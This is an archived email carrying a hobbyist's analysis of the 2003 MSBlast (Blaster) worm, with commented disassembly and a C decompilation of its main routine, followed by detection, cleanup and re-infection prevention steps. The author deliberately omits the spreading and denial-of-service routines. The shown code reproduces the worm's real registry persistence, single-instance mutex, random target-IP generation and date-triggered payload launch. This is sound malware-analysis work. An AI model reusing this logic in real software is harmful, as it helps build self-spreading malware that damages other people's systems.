------=_NextPart_000_001B_01C362B5.98ACA600
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
Here's a little analysis of the msblast worm.
------=_NextPart_000_001B_01C362B5.98ACA600
Content-Type: text/plain;
name="msblast_analysis.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="msblast_analysis.txt"
Decompilation of the RPC blaster.worm main() routine=20
and short description/analysis by Dennis Elser.
TABLE OF CONTENTS:
I. Introduction
II. Description
III. Commented Disassembly
IV. Analysis/Decompilation
V. How to detect and clean an infected system, prevent re-infection
I. Introduction
---------------
Thanks to Datarescue (www.datarescue.com) for the Interactive =
DisAssembler
(IDA Pro) which made this analysis quite comfortable.
The integrated debugger came in very handy to verify the analysis ;)
Please bare with me, english is not my native language, I am not a =
professional
but a hobbyist, this document and the analysis were done in my spare =
time for fun
and it was not veryfied by anyone so it may contain quite some errata ;)
About the analysis:
I began to analyze the main() routine but I've left out
two important routines due to two reasons:
1. I don't want anyone to recompile this and create new variants.
2. Rolf Rolles beat me to it - too bad we haven't met earlier ;)
So spreadworm() and payload() have been left out. Their functionality =
will be described later.
II. Description
---------------
The worm creates a new registry key in =
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
called "windows auto update" with the value "msblast.exe".
This will make sure that the worm will be run after each reboot.
Next, it creates a Mutex called "BILLY", followed by a call to =
GetLastError().
If the errorcode returned by GetLastError() is 0xb7 ("Cannot create a =
file
when that file already exists.") the worm will make a call to =
ExitProcess() to
prevent the system from running multiple instances of the worm.
Otherwise it will continue and call WSAStartup() to initiate windows =
sockets,
GetModuleFileName(), which is needed for the tftp transfer to other =
vulnerable boxes (thanks Rolf)
and loop until the OS is connected to the Internet (using =
InternetGetConnectedState()).
The worm will then create random ip addresses and retreive the local ip =
address of the OS in order
to infect the local area network and computers on the internet (Please =
have a look at the analysis).
Every year starting on August the 16th to December the 31st the =
payload() routine will be started.
>From what I have checked so far it will send packets to =
windowsupdate.com in order to DoS it.
After that it will spread itself to vulnerable boxes on the internet =
(using the randomly generated
IP addresses) and to the local area network.
As mentioned above spreadworm() and payload() have not been analyzed any =
further.
spreadworm() will listen on specific ports for incoming connections, =
spread itself et cetera.
payload() will DoS windowsupdate.com on a specific date.
Please refer to Rolf Rolles' analysis for a more detailed analysis.
III. Commented Disassembly
-------------------------
main proc near ; CODE XREF: mainwrapper+5C=19p
in =3D in_addr ptr -3ACh
temp_ip_buf =3D dword ptr -3A8h
hostent =3D dword ptr -3A4h
local_ip_address=3D byte ptr -3A0h
WSAData =3D WSAData ptr -1A0h
month =3D dword ptr -10h
day_of_month =3D byte ptr -0Ch
hKey =3D dword ptr -8
ThreadId =3D dword ptr -4
push ebp
mov ebp, esp
sub esp, 3ACh
push esi
push edi
xor esi, esi
push 0 ; lpdwDisposition
lea eax, [ebp+hKey]
push eax ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
push offset aSoftwareMicros ; create/open regkey:
; SOFTWARE\Microsoft\Windows\CurrentVersion\Run
push 80000002h ; hKey
call RegCreateKeyExA
push 32h ; cbData
push offset aMsblast_exe ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aWindowsAutoUpd ; lpValueName
push [ebp+hKey] ; hKey
call RegSetValueExA ; create a subkey/string "windows auto update" =
with the value "msblast.exe"
; this will make sure the worm will be run after windows has been =
booted
push [ebp+hKey] ; hKey
call RegCloseKey ; close regkey
push offset aBilly ; lpName
push 1 ; bInitialOwner
push 0 ; lpMutexAttributes
call CreateMutexA ; create "Billy" Mutex
call GetLastError ; check for error.
cmp eax, 0B7h ; 0xb7 =3D Cannot create a file when that file already =
exists.
jnz short FirstInstance ; if the mutex couldn't be created, then there
; already is running an instance of the worm.
; if this is the case: ExitProcess
push 0 ; uExitCode
call ExitProcess
FirstInstance: ; CODE XREF: main+67=18j
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 202h ; wVersionRequested
call WSAStartup ; call WSAStartup / version 2.02
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to =
WSAStartupSuccess
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 101h ; wVersionRequested
call WSAStartup ; call WSAStartup / version 1.01
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to =
WSAStartupSuccess
lea eax, [ebp+WSAData]
push eax ; lpWSAData
push 1 ; wVersionRequested
call WSAStartup ; call WSAStartup / v1.0 ?
or eax, eax
jz short WSAStartupSuccess ; if successful, branch to =
WSAStartupSuccess
or eax, 0FFFFFFFFh
jmp WS_Error
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
WSAStartupSuccess: ; CODE XREF: main+83=18j main+98=18j ...
push 104h ; nSize
push offset Filename ; lpFilename
push 0 ; hModule
call GetModuleFileNameA ; get module's name into a buffer (should be =
msblast.exe)
delay_no_inet: ; CODE XREF: main+DE=19j
push 0
lea eax, [ebp+ThreadId]
push eax
call InternetGetConnectedState ; is the victim connected to the =
internet ?
or eax, eax
jnz short connected
push 4E20h ; dwMilliseconds
call Sleep ; Sleep 20 seconds
jmp short delay_no_inet
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
connected: ; CODE XREF: main+D2=18j
and ds:i_ip_D, 0
call GetTickCount ; get value from tickcount
push eax
call srand ; random starting point
pop ecx
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide random value by 0xFE
mov edi, edx ; edi =3D edx =3D remainder
inc edi ; remainder++
mov ds:randomip_A, edi
call rand ; get another random value
mov ecx, 0FEh
cdq
idiv ecx ; divide random value by 0xFE
mov ds:randomip_B, edx ; store remainder
push 200h ; namelen
lea eax, [ebp+local_ip_address]
push eax ; name
call gethostname ; get hostname for local machine
cmp eax, 0FFFFFFFFh ; SOCKET_ERROR ?
jz SOCKET_ERROR
lea eax, [ebp+local_ip_address]
push eax ; name
call gethostbyname ; retreive hostent structure
mov [ebp+hostent], eax
or eax, eax
jz SOCKET_ERROR
mov ecx, [eax+0Ch] ; ecx =3D hostent.hlength
cmp dword ptr [ecx], 0 ; if (hostent.hlength =3D=3D 0) goto =
SOCKET_ERROR
jz SOCKET_ERROR
push 4
mov eax, [eax+0Ch] ; get hostent.hlength
push dword ptr [eax] ; source buffer (hostent)
lea eax, [ebp+in]
push eax ; destination buffer
call memcpy ; copy hostent structure
push dword ptr [ebp+in.S_un] ; in
call inet_ntoa ; get dotted format
push eax
push offset aS ; "%s"
lea edi, [ebp+local_ip_address]
push edi
call sprintf ; store ip address in string format
push offset dot
lea eax, [ebp+local_ip_address]
push eax
call strtok ; find first '.' / dot in local ip address string
; assume we have the following ip address:
; 127.0.0.1
; eax will hold a pointer to "127\0" after the call to strtok
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert string to integer
mov ds:i_ip_A, eax
push offset dot
push 0
call strtok ; find next '.' / dot in local ip address string
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert next delimiter of ip address
mov ds:i_ip_B, eax
push offset dot
push 0
call strtok ; find next '.' / dot in local ip address string
mov [ebp+temp_ip_buf], eax
push eax
call atoi ; convert next delimiter of ip address
add esp, 3Ch ; correct stack
mov ds:i_ip_C, eax
cmp eax, 14h ; i_ip_c <=3D 0x14 ?
jle short ip_c_lower_0x15
call GetTickCount ; randomize timer / get random value
push eax
call srand
pop ecx
call rand
mov ecx, 14h
cdq
idiv ecx ; divide random value by 0x14
sub ds:i_ip_C, edx ; subtract remainder of division from i_ip_c
ip_c_lower_0x15: ; CODE XREF: main+1EE=18j
mov eax, ds:i_ip_A
mov ds:randomip_A, eax
mov eax, ds:i_ip_B
mov ds:randomip_B, eax
xor esi, esi
inc esi ; esi =3D 1
SOCKET_ERROR: ; CODE XREF: main+130=18j main+14A=18j ...
call GetTickCount ; randomize timer / get random number
push eax
call srand
pop ecx
call rand
mov ecx, 14h
cdq
idiv ecx ; divide random number by 0x14
cmp edx, 0Ch
jge short loc_401496 ; is remainder >=3D 0xC ?
xor esi, esi ; if not, esi =3D 0
loc_401496: ; CODE XREF: main+242=18j
mov ds:i_ip_D_?, 1
call rand ; get random value
mov ecx, 0Ah
cdq
idiv ecx ; divide random value by 0xA
cmp edx, 7
jle short generate_random_ip ; remainder <=3D 7 ?
mov ds:i_ip_D_?, 2
generate_random_ip: ; CODE XREF: main+260=18j
or esi, esi
jnz short get_date ; if esi !=3D 0 goto get_date
call rand ; get another random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov edi, edx
inc edi
mov ds:i_ip_A, edi ; i_ip_A =3D remainder +1
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov ds:i_ip_B, edx ; i_ip_B =3D remainder
call rand ; get random value
mov ecx, 0FEh
cdq
idiv ecx ; divide by 0xFE
mov ds:i_ip_C, edx ; i_ip_C =3D remainder
get_date: ; CODE XREF: main+26E=18j
push 3 ; cchDate
lea eax, [ebp+day_of_month]
push eax ; lpDateStr
push offset dateformat_d ; Day of month as digits with no leading zero =
for single-digit days
push 0 ; lpDate
push 0 ; dwFlags
push 409h ; Locale
call GetDateFormatA ; get day of month
push 3 ; cchDate
lea eax, [ebp+month]
push eax ; lpDateStr
push offset dateformat_M ; Month as digits with no leading zero for =
single-digit months.
push 0 ; lpDate
push 0 ; dwFlags
push 409h ; Locale
call GetDateFormatA
lea eax, [ebp+day_of_month]
push eax
call atoi ; convert daystring to integer
pop ecx
cmp eax, 15
jg short payload ; if it is the 16th day of a month
; or above, start payload
lea edi, [ebp+month]
push edi
call atoi ; convert monthstring to integer
pop ecx
cmp eax, 8 ; else if month =3D September, October, November, =
December,
; start payload
jle short loc_401562
payload: ; CODE XREF: main+2EB=18j
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push 0 ; dwCreationFlags
push 0 ; lpParameter
push offset payload? ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
loc_401562: ; CODE XREF: main+2FA=18j main+317=19j
call spreadworm
jmp short loc_401562
; =
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=C4=
call WSACleanup ; clean up...
xor eax, eax
WS_Error: ; CODE XREF: main+AF=18j
pop edi
pop esi
leave
retn 10h
main endp
IV. Analysis
-------------
// global variables
char Filename[SOME_CONST];
DWORD i_ip_A;
DWORD i_ip_B;
DWORD i_ip_C;
DWORD i_ip_D;
DWORD i_ip_D_?;
// left out
void spreadworm()
{
}
// left out
SEC_THREAD_START paylod()
{
}
// main
int main()
{
in_addr in;
DWORD temp_ip_buf;
hostent _hostent;
char local_ip_address[0x200];
LPWSADATA WSAData;
char month[3];
char day_of_month[3];
HKEY hKey;
DWORD ThreadId;
bool status;
// Create/open registry key
RegCreateKeyExA(0x80000002, =
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, 0, 0xf003f, =
0, & hKey, 0);
// Put key "windows auto update", value =3D "msblast.exe"
RegSetValueExA(hKey, "windows auto update", 0, 1, "msblast.exe", 0x32);
// Close registry
RegCloseKey(hKey);
// check for a running instance of the worm
CreateMutexA(0, 1, "BILLY");
if (GetLastError() =3D=3D 0xb7) ExitProcess(0); // exit
// winsock
if ((WSAStartup(0x202, & WSAData) !=3D 0) || (WSAStartup(0x101, & =
WSAData) !=3D 0) \
|| (WSAStartup(0x001, & WSAData) !=3D 0)) return -1;
// get driver:\path\filename (for example =
c:\winnt\system32\msblast.exe)
// needed for tftp to locate the file for redistribution (thanks again =
Rolf)
GetModuleFileNameA(0, &Filename, 0x104);
// idle until a connection to the internet is detected
while (InternetGetConnectedState(& ThreadId, 0) =3D=3D 0) =
Sleep(0x4e20);
// generate random ip address
i_ip_D =3D 0;
srand(GetTickCount());
randomip_A =3D rand() % 0xFE;
randomip_A++;
randomip_B =3D rand() % 0xFE;
// get local ip address
if (gethostname(& local_ip_address, 0x200) !=3D ffffffff)
{
_hostent =3D gethostbyname(& local_ip_address);
if (_hostent !=3D 0)
{
if (_hostent.hlength !=3D 0)
{
memcpy( &in, &_hostent.hlength, 4);
sprintf(&local_ip_address, "%s", inet_ntoa(in.S_un));
temp_ip_buf =3D strtok(&local_ip_address, ".");
// split single parts of ip address into A.B.C.(D)
i_ip_A =3D atoi(temp_ip_buf);
temp_ip_buf =3D strtok(0, ".");
i_ip_B =3D atoi(temp_ip_buf);
temp_ip_buf =3D strtok(0, ".");
i_ip_C =3D atoi(temp_ip_buf);
=09
// randomize x.x.C.x if C > 0x14
if (i_ip_C > 0x14)
{
srand(GetTickCount());
i_ip_C -=3D rand() % 0x14;
}
randomip_A =3D i_ip_A;
randomip_B =3D i_ip_B;
status =3D true;
}
}
}
srand(GetTickCount());
if ((rand() % 0x14) < 12) status =3D 0;
i_ip_D_? =3D 1;
if ((rand % 0xA) > 7) i_ip_D_? =3D 2;
if (status =3D=3D 0)
{
i_ip_A =3D rand() % 0xFE;
i_ip_A++;
i_ip_B =3D rand() % 0xFE;
i_ip_C =3D rand() % 0xFE;
}
// get date
GetDateFormatA(0x409, 0, 0, &"d", &day_of_month, 3);
GetDateFormatA(0x409, 0, 0, &"M", &month, 3);
// start payload on 16th august until 31st december
if ( (atoi(& day_of_month) > 15) || (atoi(& month) >=3D 8) )
CreateThread(0, 0, payload, 0, 0, &ThreadId);
// start spreading the worm all over the windoze-world
while (1) spreadworm();
=09
// is that a joke ? it will never be executed ;)
WSACleanup();
return 0;
}
V. How to detect and clean an infected system, prevent re-infection
-------------------------------------------------------------------
a.) detection
-------------
The three most suspicious indicators for a system infected by the =
msblast.worm are
- a file called msblast.exe in your windows\system32\ folder
- a running process called msblast.exe
- the registry entry "windows auto update" containing the string =
"msblast.exe" in
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
=09
Some minor indicators are
- (high) outbound traffic on port 69, 135 et cetera.
- the mutex "BILLY" (write a little application which creates a mutex =
called "BILLY" just
like the worm does. Call GetLastError() immediately after having =
created the mutex.
if the returncode is 0xb7 then the mutex already exists which is an =
indicator for the worm.
- probably a lot more ;)
b.) cleaning a system
---------------------
1. Kill the process msblast.exe using window's taskmanager or =
tasklist/taskkill.
2. remove the registry key "windows auto update".
3. remove the executable msblast.exe from your windows\system32\ =
directory.
c.) preventing re-infection
---------------------------
1. Configure your firewall to block port 135 (and others the worm uses).
2. update your windows installation (windowsupdate.com).
3. write a little application which creates a "BILLY" mutex. This will =
not prevent
your system to be infected but the worm will not spread any further and =
will not
run any harmful routines as it exits when it detects an existing =
"BILLY" mutex.
=09
=09
--
Please have a look at Rolf Rolles' complete analysis (he should have =
posted it to bugtraq).
Check www.datarescue.com for the best disassembler around.
Hello's to my "collegues" ;) you know who you are :)
"I can not be held responsible for any damages this document may cause" =
;)
--
Dennis Elser
Student of the Ruhr-Universit=E4t-Bochum
Information Technology Security
Germany
------=_NextPart_000_001B_01C362B5.98ACA600--
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH